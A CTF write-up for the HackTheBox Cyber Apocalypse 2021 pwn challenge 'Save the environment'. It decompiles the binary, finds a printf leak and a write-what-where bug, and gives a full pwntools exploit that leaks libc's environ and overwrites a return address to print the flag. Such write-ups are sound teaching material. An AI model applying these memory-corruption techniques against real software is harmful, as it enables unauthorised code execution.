# Full writeups for this challenge avaliable on [https://github.com/evyatar9/Writeups/blob/master/CTFs/2021-CTF_HackTheBox/Cyber_Apocalypse_2021/](https://github.com/evyatar9/Writeups/blob/master/CTFs/2021-CTF_HackTheBox/Cyber_Apocalypse_2021/)
# CTF HackTheBox 2021 Cyber Apocalypse 2021 - Save the environment
Category: Pwn, Points: 325
![info.JPG](https://github.com/evyatar9/Writeups/raw/master/CTFs/2021-CTF_HackTheBox/Cyber_Apocalypse_2021/Pwn-Save_the_enviornment/images/info.JPG)
Attached file [pwn_save_the_environment.zip](https://github.com/evyatar9/Writeups/raw/master/CTFs/2021-CTF_HackTheBox/Cyber_Apocalypse_2021/Pwn-Save_the_enviornment/pwn_save_the_environment.zip)
# Save the environment Solution
Let's check the binary using ```checksec```:```┌─[evyatar@parrot]─[/ctf_htb/cyber_apocalypse/pwn/environment]└──╼ $ checksec environment[*] '/ctf_htb/cyber_apocalypse/pwn/environment/environment'    Arch:     amd64-64-little    RELRO:    Full RELRO    Stack:    Canary found    NX:       NX enabled    PIE:      No PIE (0x400000)```
[Full RELRO](https://ctf101.org/binary-exploitation/relocation-read-only/) (removes the ability to perform a "GOT overwrite" attack), [Canary](https://ctf101.org/binary-exploitation/stack-canaries/), [NX enabled](https://ctf101.org/binary-exploitation/no-execute/) and [No PIE](https://en.wikipedia.org/wiki/Position-independent_code).
By running the binary we get the following:
```console┌─[evyatar@parrot]─[/ctf_htb/cyber_apocalypse/pwn/environment]└──╼ $ ./environment 
? Save the environment ♻
            *           ***          *****         *******        *********       ***********      *************     ***************           | |           | |           | |
1. Plant a ?
2. Recycle ♻> 
```
By observe the code using [Ghidra](https://ghidra-sre.org/) we can see few intresing functions.
The first function is ```plant```:```c
void plant(undefined4 param_1,undefined4 param_2,undefined4 param_3,undefined4 param_4,          undefined4 param_5,undefined4 param_6,undefined4 param_7,undefined4 param_8,          undefined8 param_9,undefined8 param_10,char *param_11,undefined8 param_12,          undefined8 param_13,undefined8 param_14)
{  ulonglong *puVar1;  ulonglong uVar2;  char *extraout_RDX;  char *extraout_RDX_00;  long in_FS_OFFSET;  undefined4 uVar3;  undefined4 extraout_XMM0_Da;  undefined in_stack_ffffffffffffffa8;  char local_48 [32];  char local_28 [24];  long local_10;   local_10 = *(long *)(in_FS_OFFSET + 0x28);  uVar3 = check_fun(param_1,param_2,param_3,param_4,param_5,param_6,param_7,param_8,rec_count,                    param_10,param_11,param_12,param_13,param_14);  color(uVar3,param_2,param_3,param_4,param_5,param_6,param_7,param_8,&DAT_00401a58,"green",        extraout_RDX,param_12,param_13,param_14,in_stack_ffffffffffffffa8);  printf("> ");  read(0,local_48,0x10);  puVar1 = (ulonglong *)strtoull(local_48,(char **)0x0,0);  putchar(10);  color(extraout_XMM0_Da,param_2,param_3,param_4,param_5,param_6,param_7,param_8,        "Where do you want to plant?\n1. City\n2. Forest\n","green",extraout_RDX_00,param_12,        param_13,param_14,(char)puVar1);  printf("> ");  read(0,local_28,0x10);  puts("Thanks a lot for your contribution!");  uVar2 = strtoull(local_28,(char **)0x0,0);  *puVar1 = uVar2;  rec_count = 0x16;  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {                    /* WARNING: Subroutine does not return */    __stack_chk_fail();  }  rec_count = 0x16;  return;}```
By the following ```*puVar1 = uVar2;``` we can see we can [write-what-where](https://cwe.mitre.org/data/definitions/123.html).
It's mean our input converting to ```unsigned long long``` using  ```puVar1 = (ulonglong *)strtoull(local_48,(char **)0x0,0);``` and ```uVar2 = strtoull(local_28,(char **)0x0,0);``` and then we can write the content of ```uVar2``` to address pointed by ```puVar1```.
The second function is ```form```:```cvoid form(undefined4 param_1,undefined4 param_2,undefined4 param_3,undefined4 param_4,         undefined4 param_5,undefined4 param_6,undefined4 param_7,undefined4 param_8,         undefined8 param_9,undefined8 param_10,char *param_11,undefined8 param_12,         undefined8 param_13,undefined8 param_14)
{  char *__s;  char *extraout_RDX;  long in_FS_OFFSET;  undefined4 extraout_XMM0_Da;  undefined in_stack_ffffffffffffffc8;  undefined4 local_2c;  char local_28 [24];  long local_10;   local_10 = *(long *)(in_FS_OFFSET + 0x28);  local_2c = 0;  color(param_1,param_2,param_3,param_4,param_5,param_6,param_7,param_8,        "Is this your first time recycling? (y/n)\n>","magenta",param_11,param_12,param_13,param_14        ,in_stack_ffffffffffffffc8);  read(0,&local_2c,3);  putchar(10);  if (((char)local_2c == 'n') || ((char)local_2c == 'N')) {    rec_count = rec_count + 1;  }  if (rec_count < 5) {    color(extraout_XMM0_Da,param_2,param_3,param_4,param_5,param_6,param_7,param_8,          "Thank you very much for participating in the recyclingprogram!\n","magenta",extraout_RDX          ,param_12,param_13,param_14,in_stack_ffffffffffffffc8);  }  else {    if (rec_count < 10) {      color(extraout_XMM0_Da,param_2,param_3,param_4,param_5,param_6,param_7,param_8,            "You have already recycled at least 5 times! Please accept this gift: ","magenta",            extraout_RDX,param_12,param_13,param_14,in_stack_ffffffffffffffc8);      printf("[%p]\n",printf);    }    else {      if (rec_count == 10) {        color(extraout_XMM0_Da,param_2,param_3,param_4,param_5,param_6,param_7,param_8,              "You have recycled 10 times! Feel free to ask me whatever you want.\n> ","cyan",              extraout_RDX,param_12,param_13,param_14,in_stack_ffffffffffffffc8);        read(0,local_28,0x10);        __s = (char *)strtoull(local_28,(char **)0x0,0);        puts(__s);      }    }  }  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {                    /* WARNING: Subroutine does not return */    __stack_chk_fail();  }  return;}```
We can see leak of ```printf``` function ```printf("[%p]\n",printf);``` which can help us to get the libc base address.
And by observe the Defined Strings we can see the following intresing strings:
![dstrings.JPG](https://github.com/evyatar9/Writeups/raw/master/CTFs/2021-CTF_HackTheBox/Cyber_Apocalypse_2021/Pwn-Save_the_enviornment/images/dstrings.JPG)
Which referened by the function ```hidden_resources```:```cvoid hidden_resources(void)
{  FILE *__stream;  size_t sVar1;  long in_FS_OFFSET;  int local_64;  undefined8 local_58;  undefined8 local_50;  undefined8 local_48;  undefined8 local_40;  undefined8 local_38;  undefined8 local_30;  undefined2 local_28;  undefined local_26;  long local_20;   local_20 = *(long *)(in_FS_OFFSET + 0x28);  puts("You found a hidden vault with resources. You are very lucky!");  local_58 = 0;  local_50 = 0;  local_48 = 0;  local_40 = 0;  local_38 = 0;  local_30 = 0;  local_28 = 0;  local_26 = 0;  __stream = fopen("./flag.txt","r");  if (__stream == (FILE *)0x0) {    puts("Error opening flag.txt, please contact the admin");                    /* WARNING: Subroutine does not return */    exit(0x16);  }  fgets((char *)&local_58,0x32,__stream);  local_64 = 0;  while( true ) {    sVar1 = strlen((char *)&local_58);    if (sVar1 <= (ulong)(long)local_64) break;    putchar((int)*(char *)((long)&local_58 + (long)local_64));    local_64 = local_64 + 1;  }  fclose(__stream);  if (local_20 != *(long *)(in_FS_OFFSET + 0x28)) {                    /* WARNING: Subroutine does not return */    __stack_chk_fail();  }  return;}```
So we can make this function called and to get [ret2win](https://int0x33.medium.com/day-1-rop-emporium-ret2win-64bit-bb0d1893a3b0).
According the information we have so far we can:1. Leak ```libc``` address with ```printf``` leak address ( ```printf("[%p]\n",printf);``` - from ```form``` function).2. [write-what-where](https://cwe.mitre.org/data/definitions/123.html) from ```plant``` function - ```*puVar1 = uVar2;```.3. ```hidden_resources``` function.
As we seen we have [Full RELRO](https://ctf101.org/binary-exploitation/relocation-read-only/) (removes the ability to perform a "GOT overwrite" attack) so we need to find another technique - according the challenge name we can get the hint that we need to get the ```environ``` - which is a variable in libc that stores the address of a part of the stack. If we have a libc base address, we can easily get where the environ variable is.
If we can get the address of ```environ```  this will give us a stack address. Since the offsets will always be the same, we can get our ```rbp + 0x8``` address just using the stack address that we glean.
So let's write it.
First, Leak address of ```printf```:```pythonfrom pwn import *
binary = context.binary = ELF('./environment')
if args.REMOTE:        libc = ELF('./libc.so.6')        p = remote('188.166.172.13',30111)else:	# When we running locally use this libc, in remote we will use the attached libc        #libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')	libc = ELF('/lib/x86_64-linux-gnu/libc-2.27.so')        p = process(binary.path)
#leak printf addressfor _ in range(5):	p.sendlineafter('>','2')	p.sendlineafter('>','1')	p.sendlineafter('>','n')
data=p.recvuntil(']').decode('utf-8').split('[')[-1].split(']')[0] #.strip('\x1b[0m[')libc_leak_printf=int(data,16)log.info("printf leak address: " + hex(libc_leak_printf))libc.address = libc_leak_printf - libc.sym.printflog.info("libc.address: " + hex(libc.address))```
Next, Get the address of ```environ```:```python#leak envior addressfor _ in range(5):        p.sendlineafter('>','2')        p.sendlineafter('>','1')        p.sendlineafter('>','n')
p.sendlineafter('> ',hex(libc.sym.environ))p.recv(4) # ANSI color  data = p.recv(6)environ = u64(_ + b'\0\0')log.info('environ address: ' + hex(environ))```
Now we have the address of ```environ```, We need to calculate the offset between ```enviorn``` to ```rip``` on ```plant``` function (which is the function with write-what-where), To do that we can use ```gdb```:```asm┌─[evyatar@parrot]─[/ctf_htb/cyber_apocalypse/pwn/environment]└──╼ $ gdb -q environmentgef➤  b *plantBreakpoint 1 at 0x401383gef➤  rStarting program: /ctf_htb/cyber_apocalypse/pwn/environment/environment 
? Save the environment ♻
            *           ***          *****         *******        *********       ***********      *************     ***************           | |           | |           | |
1. Plant a ?
2. Recycle ♻> 1gef➤  p/x (long)(environ)-(long)$rsp$1 = 0x120```	
So the offset is ```0x120```, So we need to write the address of ```hidden_resources``` to ```environ-0x120``` which is the rip.
```python#Write address of hidden_resource to environ-0x120 (calculated using p/x (long)(environ)-(long)$rsp on plant function)p.sendlineafter('>','1')p.sendlineafter('>',hex(environ-0x120))p.sendlineafter('>',hex(binary.sym.hidden_resources))print(p.recvuntil('}')) # until the end of the flag```
So let's write all together in [exploit.py](https://github.com/evyatar9/Writeups/raw/master/CTFs/2021-CTF_HackTheBox/Cyber_Apocalypse_2021/Pwn-Save_the_enviornment/exploit.py):```pythonfrom pwn import *
binary = context.binary = ELF('./environment')
if args.REMOTE:        libc = ELF('./libc.so.6')        p = remote('188.166.172.13',30121)else:	# When we running locally use this libc, in remote we will use the attached libc        #libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')	libc = ELF('/lib/x86_64-linux-gnu/libc-2.27.so')        p = process(binary.path)
#leak printf addressfor _ in range(5):	p.sendlineafter('>','2')	p.sendlineafter('>','1')	p.sendlineafter('>','n')
data=p.recvuntil(']').decode('utf-8').split('[')[-1].split(']')[0] #.strip('\x1b[0m[')libc_leak_printf=int(data,16)log.info("printf leak address: " + hex(libc_leak_printf))libc.address = libc_leak_printf - libc.sym.printflog.info("libc.address: " + hex(libc.address))
#leak envior addressfor _ in range(5):        p.sendlineafter('>','2')        p.sendlineafter('>','1')        p.sendlineafter('>','n')
p.sendlineafter('> ',hex(libc.sym.environ))p.recv(4) # ANSI colordata = p.recv(6)environ = u64(data + b'\0\0')log.info('environ address: ' + str(hex(environ)))
#Write address of hidden_resource to environ-0x120 (calculated using p/x (long)(environ)-(long)$rsp on plant function)p.sendlineafter('>','1')p.sendlineafter('>',hex(environ-0x120))p.sendlineafter('>',hex(binary.sym.hidden_resources))print(p.recvuntil('}'))```
Run it:```asm┌─[evyatar@parrot]─[/ctf_htb/cyber_apocalypse/pwn/environment]└──╼ $ python exploit.py REMOTE=1[*] '/ctf_htb/cyber_apocalypse/pwn/environment/environment'    Arch:     amd64-64-little    RELRO:    Full RELRO    Stack:    Canary found    NX:       NX enabled    PIE:      No PIE (0x400000)[+] Opening connection to 138.68.141.182 on port 31076: Done[*] '/pwd/datajerk/cyberapocalypsectf2021/save_the_environment/libc.so.6'    Arch:     amd64-64-little    RELRO:    Partial RELRO    Stack:    Canary found    NX:       NX enabled    PIE:      PIE enabled[*] printf: 0x7fef03d4df70[*] libc.address: 0x7fef03ce9000[*] environ: 0x7fff09518b18CHTB{u_s4v3d_th3_3nv1r0n_v4r14bl3!}```
And we get the flag ```CHTB{u_s4v3d_th3_3nv1r0n_v4r14bl3!}```.